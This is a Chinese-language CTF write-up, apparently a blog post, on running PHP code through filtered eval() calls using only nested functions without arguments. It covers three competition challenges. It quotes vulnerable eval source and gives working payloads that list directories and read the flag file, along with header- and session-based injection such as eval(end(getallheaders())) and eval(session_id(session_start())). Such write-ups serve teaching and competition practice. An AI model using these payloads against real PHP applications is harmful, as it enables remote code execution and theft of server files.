php无参数执行命令


最近在比赛中遇到了几道题目,都是比较有意思的php题目,考点都差不多,大概就是让我们用无参数的php函数去执行命令,这里分别记录一下,主要是从ByteCTF的一道题目学习到的姿势,后来在成信工的极客挑战、还有上海的比赛中也遇到了类似的题目,都一起记录一下。

ByteCTF Boringcode

这里对这道题目的前面绕过方式不再多讲,主要还是研究无参数绕过的思路,题目部分代码

            $code = file_get_contents($url);
            if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
                if (preg_match('/et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
                    echo 'bye~';
                } else {
                    eval($code);
                }
            }
        } else {
            echo "error: host not allowed";
        }
    } else {
        echo "error: invalid url";
    }
}else{
    highlight_file(__FILE__);
}

看关键代码,主要就是分析一下正则

preg_replace 的主要功能就是限制我们传输进来的必须时纯小写字母的函数,而且不能携带参数,例如print_r("123");这种的,是不允许进行传入的
preg_match的主要功能就是过滤函数,把一些常用不带参数的函数关键部分都给过滤了,需要去构造别的方法去执行命令。

首先分析一下preg_replace这个参数,非常的有意思,我们将正则表达式取出来进行分析,函数禁止了输入参数,不过我们可以通过php函数套用的方式进行绕过,例如

print_r(scandir()); #因为只允许使用纯字母函数,print_r这里也被禁止掉了,不过我们可以通过这种思路进行构造

首先绕进行的就是读取文件了,目录的话我们可以使用scandir(),执行文件的话,因为scandir()读取的目录是以数组形式出现的,我们可以使用数组指针的形式进行指向

查看一下php的数组指向函数:

image.png-45.3kB

尝试构造:

readfile(end(scandir("."))) # 

image.png-100.4kB

本地测试,是可以成功读取当前目录下的最后一个文件的,下一步就是绕过”.”

后来看师傅的WP是通过chr(46)进行绕过,我这里使用的是获取数组第一位进行绕过操作

这里利用了localeconv()函数

image.png-108.7kB

image.png-103.6kB

函数返回的数组第一位正是我们需要的“.”函数,尝试构造一下

readfile(end(scandir(reset(localeconv()))));

image.png-70.9kB

可以成功读取当前目录下的最后一个文件,这里分享一下,其他师傅们的操作

chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))) #46
chr
chr(pos(localtime(time(chdir(next(scandir(pos(localeconv())))))))) #46

因为flag文件在上一目录,需要我们继续去构造payload去读取上一层目录,这里使用chdir()函数,不过直接chdir返回的只是0和1结果,我们需要尝试构造一下判断语句,最后的payload:

借用了师傅们的payload

if(chdir(next(scandir(pos(localeconv())))))readfile(end(scandir(pos(localeconv()))));
# 使用chdir()函数,更改目录,返回1的同时,读取目录下的文件
echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(pos(localeconv()))))))))))));

# 通过chdir修改当前目录,通过localtime()等函数构造chr(46)即“.”达到读取上层目录文件的目的

官方WP:

echo(readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))))))))))));

# 同样的原理,不过生成chr(46)的方式不同

2019上海市大学生网络安全大赛_decade

<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
        if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
        if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
            echo 'bye~';
                } else {
                    eval($code);
                }
            }
        else {
            echo "invalid";
        }
}else {
        echo "invalid";
    }

?>

审计源码,发现与Byte的题目很相似,不同的就是正则过滤的更多了,我们就不能使用readfile等方式去读文件了,也不能用time的方式去获取“.”了,不过我们可以使用上面,官方WP中提供的payload只需稍加修改即可

首先还是fuzz一下,php中类似readfile的函数

<?php var_dump(get_defined_functions());?>

image.png-274.4kB

发现readgzfile这个函数,看一下函数的定义

image.png-108.8kB

主要是读取一个压缩文件,不过在本地测试时发现,该函数也可以实现readfile的功能去读取文件

image.png-69.8kB

尝试构造一下payload

原:

readfile(end(scandir(chr(pos(localtime(time(chdir(next(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion()))))))))))))))))));

将readfile修改为readgzfile,这里不再使用time()函数,使用ord()、hebrevc()等函数构造,在7.0的php环境下:

首先尝试读取当前目录下的文件,仍然是构造“.”,原来构造的paylod:

readfile(end(scandir(reset(localeconv()))));

因为题目中正则将“local”给过滤了,所以要换种方法去构造,本地尝试构造:

readfile(end(scandir(chr(ceil(sinh(cosh(tan(floor(sqrt(floor(phpversion())))))))))));

但因为sqrt函数被过滤,继续构造

(ord(hebrevc(crypt(phpversion()))));

image.png-68.5kB

成功构造出“46”,这个payload第一次没有打通,尝试了好几次都没有成功读取,后来发现原因在于这个函数:

image.png-34.8kB

crypt每次加密都是随机的,所以多试几次就好了,再之后就很容易构造了,本地测试一下,读取当前目录列表

print_r(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion())))))))))))));

修改payload,读取文件,成功获取到flag

image.png-100.2kB

readgzfile(end(scandir(chr(ord(hebrevc(crypt(chdir(next(scandir(chr(ord(hebrevc(crypt(phpversion()))))))))))))));

image.png-150.6kB

极客大挑战——Eval evil code

访问页面

image.png-152.6kB

结合题目,大概就是让我们输入命令和验证码,之后进行执行,先输入一波phpinfo()试一下,验证码部分,直接python爆一下

import hashlib

for i in range(1, 10000001):
    s = hashlib.md5(str(i)).hexdigest()[0:4]
    #s = hashlib.sha1(str(i)).hexdigest()[:6]
    if s == "30eb":
        print(i)
        break

image.png-25.1kB

没有执行,成功,不过给我们弹出了提示

image.png-20.3kB

总的来说还是一个无参数执行命令的题目,不过没有那么多正则过滤了,抓包测试一下

image.png-159kB

成功执行phpinfo,下一步尝试读一下目录

image.png-82.4kB

发现,我们不能使用常规的end()函数去读取目录的最后文件了,需要制定目录去读取,
在本地一直fuzz,后来怎么构造都要携带参数,后来就在思考是不是要换个思路去执行shell

readfile(reset(array_slice(scandir(pos(localeconv())),-2))); #fuzz出的payload,需要携带参数

这个时候想到,既然没有正则过滤,我们能用的函数就有很多了,想到原来在某次大型AWD比赛中抓到的一个流量

image.png-29.5kB

因为是php7的环境,通过~加密过后的代码,可以正常执行,解密一下:

image.png-7.7kB

主要用到了getallheaders()这个函数,我们尝试执行一下这个函数

image.png-101.6kB

发现该函数会获取我们传输中headers的所有信息并以数组形式输出,我们可以将恶意代码写在传输的headers头中,再使用该函数进行包含执行,这样就可以达到我们绕过检测命令执行的目的,尝试构造一下

image.png-98.9kB

包含一下headers数组最后的信息

eval(end(getallheaders()));

image.png-130.7kB

成功执行phpinfo(),直接读文件

#headers : readfile("theflag.php");

eval(end(getallheaders()));

image.png-89kB

成功获取到flag

思考

后来在看别的师傅们的文章时候,又发现了关于此点的一些拓展和延申

关于在headers里面写马的利用:

eval(array_rand(array_flip(getallheaders()))); # 不清楚参数位置

eval(pos(getallheaders())); # 构造函数在第一个

还有利用get_defined_vars函数的

官方定义:

image.png-101.6kB

本地测试一下

image.png-92.8kB

主要就是把GET POST COOKIE FILE等传输的数据给打印出来,同样可以使用数组包含的形式进行恶意代码构造

#GET传参 $a=phpinfo();

# post 

eval(end(current(get_defined_vars())));

image.png-135.6kB

以及使用session_id()函数

这个和原来我写过的利用session写shell的很像,有兴趣的可以看看

Vulnhun之Ted[Session代码执行]

PHPSESSID : phpinfo(); # session中写入恶意代码

eval(session_id(session_start())); 

最后把各位师傅们和自己总结的一些函数总结出来

getchwd() 函数返回当前工作目录。
scandir() 函数返回指定目录中的文件和目录的数组。
dirname() 函数返回路径中的目录部分。
chdir() 函数改变当前的目录。

readfile()  输出一个文件

current()       返回数组中的当前单元, 默认取第一个值
pos()           current() 的别名
next() 函数将内部指针指向数组中的下一个元素,并输出。
end()       将内部指针指向数组中的最后一个元素,并输出。
array_rand()    函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip()    array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回
chr() 函数从指定的 ASCII 值返回字符。
hex2bin — 转换十六进制字符串为二进制字符串

getenv()        获取一个环境变量的值(在7.1之后可以不给予参数)

参考文章:

https://xz.aliyun.com/t/6316

https://www.anquanke.com/post/id/186187


6 thoughts on “php无参数执行命令”

Pdsdt进行回复 取消回复

电子邮件地址不会被公开。 必填项已用*标注